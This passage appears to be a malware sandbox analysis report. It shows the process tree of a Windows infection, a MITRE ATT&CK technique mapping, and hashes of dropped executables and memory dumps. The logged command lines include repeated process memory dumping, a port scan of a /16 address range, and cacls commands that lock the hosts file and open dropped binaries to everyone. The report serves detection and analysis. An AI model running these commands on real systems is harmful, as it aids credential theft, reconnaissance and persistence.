  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 780 C:\Windows\TEMP\fcbklmeji\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:3740
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 332 C:\Windows\TEMP\fcbklmeji\332.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4928
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2148 C:\Windows\TEMP\fcbklmeji\2148.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2652 C:\Windows\TEMP\fcbklmeji\2652.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5116
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2760 C:\Windows\TEMP\fcbklmeji\2760.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2804 C:\Windows\TEMP\fcbklmeji\2804.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1920
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2088 C:\Windows\TEMP\fcbklmeji\2088.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3860 C:\Windows\TEMP\fcbklmeji\3860.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4372
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3948 C:\Windows\TEMP\fcbklmeji\3948.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1396
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 4012 C:\Windows\TEMP\fcbklmeji\4012.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2924 C:\Windows\TEMP\fcbklmeji\2924.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3984 C:\Windows\TEMP\fcbklmeji\3984.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2004 C:\Windows\TEMP\fcbklmeji\2004.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3288 C:\Windows\TEMP\fcbklmeji\3288.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4052
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 404 C:\Windows\TEMP\fcbklmeji\404.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:408
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2544 C:\Windows\TEMP\fcbklmeji\2544.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1184
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 4488 C:\Windows\TEMP\fcbklmeji\4488.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 1096 C:\Windows\TEMP\fcbklmeji\1096.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4920
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\fcbklmeji\ykckyizic\scan.bat
  2⤵
  PID:3880
- - C:\Windows\fcbklmeji\ykckyizic\yhkmiczue.exe
    yhkmiczue.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:1548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:5808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:6024
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:6032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:6096
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:6116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1888
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:2688

C:\Windows\SysWOW64\varpws.exe
C:\Windows\SysWOW64\varpws.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1468

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
1⤵
PID:3740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3608
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
  2⤵
  PID:876

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
1⤵
PID:4860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4972
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
  2⤵
  PID:2392

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\iimkcmd.exe
1⤵
PID:1912
- C:\Windows\ime\iimkcmd.exe
  C:\Windows\ime\iimkcmd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3336

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
1⤵
PID:3324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4392
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
  2⤵
  PID:4876

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\iimkcmd.exe
1⤵
PID:4560
- C:\Windows\ime\iimkcmd.exe
  C:\Windows\ime\iimkcmd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1616

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
1⤵
PID:2832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5064
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
  2⤵
  PID:264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

Packet.dll

Path C:\Windows\SysWOW64\Packet.dll
Size 95KB
SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
MD5 86316be34481c1ed5b792169312673fd
SHA1 6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA512 3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
SSDEEP 1536:zg6Z54QkC2wpk2c+ZCDHKklh74RTfIEtaYQ0:M6Z54ARcIxk4LIEtaYj
MD5 SHA1 SHA512 SSDEEP

Submit Download

wpcap.dll

Path C:\Windows\SysWOW64\wpcap.dll
Size 275KB
SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
MD5 4633b298d57014627831ccac89a2c50b
SHA1 e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA512 29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
SSDEEP 6144:E4yIm5rC9WNWwKcNBSCiLvK8+jKgZBwIbg2:jyIm59WwpqCuEKIwv2
MD5 SHA1 SHA512 SSDEEP

Submit Download

2004.dmp

Path C:\Windows\TEMP\fcbklmeji\2004.dmp
Size 1.2MB
SHA256 6edfd26bcd3c8d44906a03264255c31b116cd0b80787ac95591b26495856a63e
MD5 69fc1b9a35bffe0dd5b39c42441cbabd
SHA1 3b8fc4640ecdefb525e2bb3f12e30386e212b55c
SHA512 61a20b44589d2ecb73429863feff5ab91dc5fe2220b7dcdb6dced5f529439e4ba326432e6d9f76df769b31aa4418227a3278e688bcc7e966d96f8694aec6a954
SSDEEP 6144:OMT7aRJE37MdIDd/Son2jMSAz7G/Zvczko2iAH6o2z:pa/aDdaOqZDoA6o
MD5 SHA1 SHA512 SSDEEP

Submit Download

2088.dmp

Path C:\Windows\TEMP\fcbklmeji\2088.dmp
Size 814KB
SHA256 23731a1e0c0fce5b4c91f62cb7893098e9fb9995f427760537cfe9a55568ce15
MD5 5dc7b6ac12b147809e9f098b2261c327
SHA1 68c4c47e176e2122ceb5bb8cbb812a1185edc6c2
SHA512 88070448d539bf5ace6eeaa5091d9629735b4031871eb24317dfc838addef99897a6d46f2731c4c21360b67f56c7132a1f40e94303618d6499c1e213a7566107
SSDEEP 3072:MCXn5Ri05h+dZaTizC1SRG7pknxYeo6kmwC94K02WItGpJoxL4eivoxL4JfWml:MCXdT+baGzCcCpUrtmJo2Hvo2L
MD5 SHA1 SHA512 SSDEEP

Submit Download

2148.dmp

Path C:\Windows\TEMP\fcbklmeji\2148.dmp
Size 4.2MB
SHA256 b0fb91af6fe630e3e5e0191455be1c2b24126c7817f27e408e04b22006d1452c
MD5 7ff54e5af0b45bd5828fc71fc5486962
SHA1 7dc2cec7643dd76388e7e0214f5ddb81c0f0b52c
SHA512 50a6326fcae4923e71b0b9ab33a9856cfdf805a5882e894c18f5c840d92785195f5d53c68bd10dfc423ed128f60a41eae584018b78944cd259467d9518e40888
SSDEEP 24576:FrwPJNIu2QaAIRMQIzI6l7zT9/chniiaI7v4mGG4CYiZLtK9yy5EccH3Xl1MjkeI:5Gz9pHTcZsoLl
MD5 SHA1 SHA512 SSDEEP

Submit Download

2652.dmp

Path C:\Windows\TEMP\fcbklmeji\2652.dmp
Size 3.9MB
SHA256 d6040f2f6676f9fab48548f696c0da7b3db3d109309e066818854f110356cfc3
MD5 acf39ac1ba311511b805a155a8e03612
SHA1 6e32c49a7386e88dc9b23d993257031f62ba36f0
SHA512 48123e6cba4714f288cb639c1f4df98904138c2ada3196def33662fb274b9ae3d932a0377d92b109e21a7e5b58a6a0703c9724343e195ff4e38f80b955c7432a
SSDEEP 12288:3ahgVHPyBXhzuvMfGKnPiRz07e/6MqqoOXZQJv7gQoXu:wgpyBgs0VNVXZQJvkQ9
MD5 SHA1 SHA512 SSDEEP

Submit Download

2760.dmp

Path C:\Windows\TEMP\fcbklmeji\2760.dmp
Size 2.9MB
SHA256 8e627a25f033b1d2aee35ed4f19f07e256d47b9050dc9e1896f7eb7c3e8a3e57
MD5 02d97cdf653ec193905dda344b291df1
SHA1 19b327ca8d2c78f069ab309f0e7aebedf68d95e9
SHA512 aaec700516df160854ef5ccf6345e17d90fc5248dc5fd64c962cee757d293dbf23bcc7387fc16f7acfa38b5c357e3697ddeda02d13709c94fdeb8375fa0b0045
SSDEEP 6144:40Qk3sC4On4xj7jxvZ9VC2L1GZemfxx5Mts7P7MusieoKohB1b6bch2tNJCTAvE1:eXPvj79V1L1GLxHZEO3gE3o7eo
MD5 SHA1 SHA512 SSDEEP

Submit Download

2804.dmp

Path C:\Windows\TEMP\fcbklmeji\2804.dmp
Size 7.5MB
SHA256 bb5ee6be6a645d149a4aa76299cf33026a56964d1d1c6722aa293354d7323fae
MD5 2220ec65235a4171187720f5aa579d4a
SHA1 adfee8b57ce70d9e971853d2381bb5a2ca1b38ee
SHA512 5f7ee719d7cd4911150017215b186a516b3fb1a988a8eaef1430f00e5cbebd9a6a216f81dc3b0ae2170f22dc6b0160e939a2e83ec4fed518b6ebc52bdec00bd2
SSDEEP 49152:FSieJi09c2Bm1QgVlFQg8URQQg3EzapN:bQg1QgUQg0S
MD5 SHA1 SHA512 SSDEEP

Submit Download

2924.dmp

Path C:\Windows\TEMP\fcbklmeji\2924.dmp
Size 43.9MB
SHA256 277bcd68344065768f4a16b44832519672dcbcb460dd7e2bb9e21ab304462598
MD5 cdf63b3926e30146787f7f430a31c090
SHA1 eacab6b7b2c68fd0e3335f61d9fa5550d48ea34a
SHA512 e0eab8f36481cd6198343055296c908b2b520ef828fcdd0dc6bb51276260e8cf7940f1e6a4d910860867cd086e1a9e723b89f518d766d1d94739f5ded851b055
SSDEEP 98304:xJFDIPRJhoAr3F38D8WnszSKhMZRmawPPRsNJceu07R2S7uKqoyMRHubqVshNs+:3FSJhoQx8D8WnszBhMzm/POoF5kxsjj
MD5 SHA1 SHA512 SSDEEP

Submit Download

3288.dmp

Path C:\Windows\TEMP\fcbklmeji\3288.dmp
Size 8.5MB
SHA256 476dd3b9ddf4a53ffcea734137144570b63ddbf87b07fa6413e6b159b5e91212
MD5 a8faa7e21af255e14dce4e31c786225a
SHA1 f09041ff52515f2d4d4f3f84104334837653b866
SHA512 51075a978f870363fa2f94901b7d333a2bfb44c889dc668ed8be24a6f68ee5c9bf14977071cb167c4df43bf7a8d6ec0ccf28505c43d2d00e98dfee2e9c1de322
SSDEEP 24576:kKXwcJIQ2s5yL/sFh/pSk9PlKEVo+GvZ18K1zwq1Oi8OvtLCLPidvT4:kKLJIQs+SXqS8KLfvo
MD5 SHA1 SHA512 SSDEEP

Submit Download

332.dmp

Path C:\Windows\TEMP\fcbklmeji\332.dmp
Size 33.3MB
SHA256 395322b7dd64ac6f5ecb0b1c5bbb51412e449e141408da12d865a7d368aaeb71
MD5 e5018ab82db7d1b82933c98986333222
SHA1 746888c074bf0d0dc31ab0418c924ff964638d14
SHA512 394575649657a3be8847c1db6691cdbbe6e74e54d6244d059cc840934294a3c2ddde954c107ada1fa0cf5add7abc207c59325ae8f301a60fdb914aebb3fad0e1
SSDEEP 786432:3c9oyj/HxV0syblA8khvgO3V2b26njU7mKddd1qC+apRK/0JGEsibp1XXA9oyj/5:3c9oyj/HxV0syblA8khvgO3V2b26njUi
MD5 SHA1 SHA512 SSDEEP

Submit Download

3860.dmp

Path C:\Windows\TEMP\fcbklmeji\3860.dmp
Size 2.7MB
SHA256 0da549b807edfce2b67debea0710c8d507a608df3b61558b72ce27ea57d460d0
MD5 a4dfb95b27dd28aae4f59feace7cc0c9
SHA1 088deca1680bd3541239071f2004bbca9bc71ce4
SHA512 2a8049f2169d3b50916c7b3937e7d9cdcb21364da7cbeef018b335ac723878707288a11a0df505d8f4d5c5fb802226475638f93f3cf2944866342de400744884
SSDEEP 12288:yi7TqntnkzwK91SmzkmSRTVMA7YlIK16KHjoQXZQJvJo:antnDK+mNLlIK1lPXZQJvJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

3948.dmp

Path C:\Windows\TEMP\fcbklmeji\3948.dmp
Size 20.5MB
SHA256 8756f9e5e7b2c2597c00c44dbed799e09d2acfd25f1950717f520e9f35cb9f1e
MD5 f9eb635b4c580ccdcfd60b2d6cd91cdc
SHA1 7f8b63802336e3ca3eff35f0cecf11b8a005fda4
SHA512 53a7960914eae66f5008700bc89360a865f70ed5a769ceee8eb6e87a226babd0a81124b14070c8f8d657082d42c5dc83c5755b78946ab25a89c3db5ee290bd8b
SSDEEP 24576:tC6Ffmrs8LmlQwcJIQ21A83tTHWiDDFXtTgVLSr8bZ5sBy+/yXSDHCVM7JtAxm78:AdJIQGA83DpnefwhRZ6/bxizG5bhjT
MD5 SHA1 SHA512 SSDEEP

Submit Download

3984.dmp

Path C:\Windows\TEMP\fcbklmeji\3984.dmp
Size 26.1MB
SHA256 9341cb0cd9814f789aea0423ba7c4942f331e72ec6301233bbfcbbfc0439b3f6
MD5 fcc943cc7f03d3f53244b640c8c58102
SHA1 7a81b4077ca01524850c6d0386a9d4efc224246c
SHA512 8014b44ba87c0b01020c38aaa70a14e9b81776f76d8cf2209a0178f6725d525ff17734120ca1a9648f30f5d112095ba14a011606f84a6fe724eb1d6f1bdff75b
SSDEEP 98304:j2tSeYuGb7Z4QgQz7PQXLA3w6kX1/z3SFh:wQhz7P4WkX
MD5 SHA1 SHA512 SSDEEP

Submit Download

4012.dmp

Path C:\Windows\TEMP\fcbklmeji\4012.dmp
Size 4.7MB
SHA256 7d5819aaa225aa4f0c0425d5a22d852c85e09f748f9580edb81696066feeb491
MD5 5dff74d3068bd1c70ff7cf77d4f3baa5
SHA1 5f920a07db963e1f7240edfd8ad8540c0cedae24
SHA512 919080d5883a115b3dd536b45f7c283f1250013b6ee4a018bcd28fa5bc1bfedefce05de597630110f69297cf152403536af1da6dc565467dc8b77c3d78cc47c6
SSDEEP 6144:HV1rnEPM6b+aCHzimZx9aF8vH2QND3jYcrADfA/WpgPtuTbKTjRgvl5cIVjuOFg1:r1608XrNUoiIBg6xoKXZQJvLmozB
MD5 SHA1 SHA512 SSDEEP

Submit Download

780.dmp

Path C:\Windows\TEMP\fcbklmeji\780.dmp
Size 995KB
SHA256 8760c8384dd78b8aca5dfd8598bab82fd4b019bd31152a27dc34bc4eb1ad73f3
MD5 bf3807ba49fac87ab0238cee75341c5f
SHA1 7c1b863d3acbe8f9b0ef9b097833a8f81a2479d9
SHA512 f09542f99b35a5b43998aac054ba7e6c16c9daff2fe5b4d7b674024df26a218cedf37b8800e7375f2c1d6389a53a7abc1adfc7e4f2f6d60a755e74175fa504f6
SSDEEP 3072:bZ8IBnn/UzteALZcirJwEFpWp/d9C5RHgXkRaGC3Ctf3pXZq/K39qrqkhNiqSLfG:bZ8EXAXJA2YG5wQ4KZx3jgaiIfo28
MD5 SHA1 SHA512 SSDEEP

Submit Download

config.json

Path C:\Windows\TEMP\qjfklwczb\config.json
Size 693B
SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
MD5 f2d396833af4aea7b9afde89593ca56e
SHA1 08d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA512 2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
MD5 SHA1 SHA512

Submit Download

xohudmc.exe

Path C:\Windows\TEMP\xohudmc.exe
Size 72KB
SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
MD5 cbefa7108d0cf4186cdf3a82d6db80cd
SHA1 73aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA512 b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
SSDEEP 1536:NG6YL0tJYtg0M4xbVBjuvvWEePjnjnWklU1Y8HOS:kotJYtg0Mu3jY+EL3Y8HOS
MD5 SHA1 SHA512 SSDEEP

Submit Download

rtucebkpz.exe

Path C:\Windows\Temp\fcbklmeji\rtucebkpz.exe
Size 126KB
SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
MD5 e8d45731654929413d79b3818d6a5011
SHA1 23579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA512 df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
SSDEEP 3072:S87vdHRv2cf+xfkXQcsjBefXMTpmaRh+X7/UB7aglybvczXEXVHL:S8Nx2kRQRtmXuxROcBeiyb0XE
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.dll

Path C:\Windows\Temp\nszF781.tmp\System.dll
Size 11KB
SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
MD5 2ae993a2ffec0c137eb51c8832691bcb
SHA1 98e0b37b7c14890f8a599f35678af5e9435906e1
SHA512 2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
SSDEEP 192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5 SHA1 SHA512 SSDEEP

Submit Download

nsExec.dll

Path C:\Windows\Temp\nszF781.tmp\nsExec.dll
Size 6KB
SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
MD5 b648c78981c02c434d6a04d4422a6198
SHA1 74d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA512 219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
SSDEEP 96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
MD5 SHA1 SHA512 SSDEEP

Submit Download

kawnpq.exe

Path C:\Windows\Temp\qjfklwczb\kawnpq.exe
Size 343KB
SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
MD5 2b4ac7b362261cb3f6f9583751708064
SHA1 b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA512 c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
SSDEEP 6144:cBEXyznIpc98DW/X0w/c766ITRMwclkAAOY7K+JvDtidlO:b2IpxDW/ps664RMJlrABcm
MD5 SHA1 SHA512 SSDEEP

Submit Download

vfshost.exe

Path C:\Windows\fcbklmeji\Corporate\vfshost.exe
Size 381KB
SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
MD5 fd5efccde59e94eec8bb2735aa577b2b
SHA1 51aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA512 74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
SSDEEP 6144:Nb2oBq5C4PmDv0Jdu3mU0S7hJkb6HtJCUzMwF0Smf9dBYOZBiTsGsDA:Nb2oh4PmDv0m3mZ2q6H/CUzMwFVUdbTE
MD5 SHA1 SHA512 SSDEEP

Submit Download

bbmwcrbuw.exe

Path C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe
Size 332KB
SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
MD5 ea774c81fe7b5d9708caa278cf3f3c68
SHA1 fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA512 7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
SSDEEP 6144:Ivx5xQU1qp9wIirKxl+mdzGaqdWa/fx9cufQNn8QOohgM4nK6mwBLaq:+x71qpeIirCl+mKdWa/IuOn8QOcgPNg
MD5 SHA1 SHA512 SSDEEP

Submit Download

wpcap.exe

Path C:\Windows\fcbklmeji\ykckyizic\wpcap.exe
Size 424KB
SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
MD5 e9c001647c67e12666f27f9984778ad6
SHA1 51961af0a52a2cc3ff2c4149f8d7011490051977
SHA512 56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
SSDEEP 6144:QMfCdwTjPBATlmSfB0KYljf/ZH/6xNEN3MUFPuprkjUhUmpqV/TW6cDBvKasW6B:tCdM9AhHfTYexNYeFkyU/JTg1KRp
MD5 SHA1 SHA512 SSDEEP

Submit Download

iimkcmd.exe

Path C:\Windows\ptypikwv\iimkcmd.exe
Size 7.9MB
SHA256 8201e9d3b552ebcdd64b6a7a8e272f14c14223199a44260dfd3647032bf4d75c
MD5 b5a8ea5c6bbc038800cc9bb9f7361597
SHA1 e64e00be17485412ec1b727403ed1ed3caf6589a
SHA512 e46692d078e7ff46db1deb191e11971c04bd3276ad544e76cff5f86641445fd726a5841cb7213a8e5902367e0059a35e777fffa234d9e8b6a2d936ae30323a1b
SSDEEP 98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
MD5 SHA1 SHA512 SSDEEP

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
MD5 c838e174298c403c2bbdf3cb4bdbb597
SHA1 70eeb7dfad9488f14351415800e67454e2b4b95b
SHA512 c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376
MD5 SHA1 SHA512

Submit Download

memory/408-231-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp

Download

memory/464-191-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp

Download

memory/1184-233-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp

Download

memory/1396-201-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp

Download

memory/1548-248-0x0000000000270000-0x0000000000282000-memory.dmp

Download

memory/1660-213-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp

Download

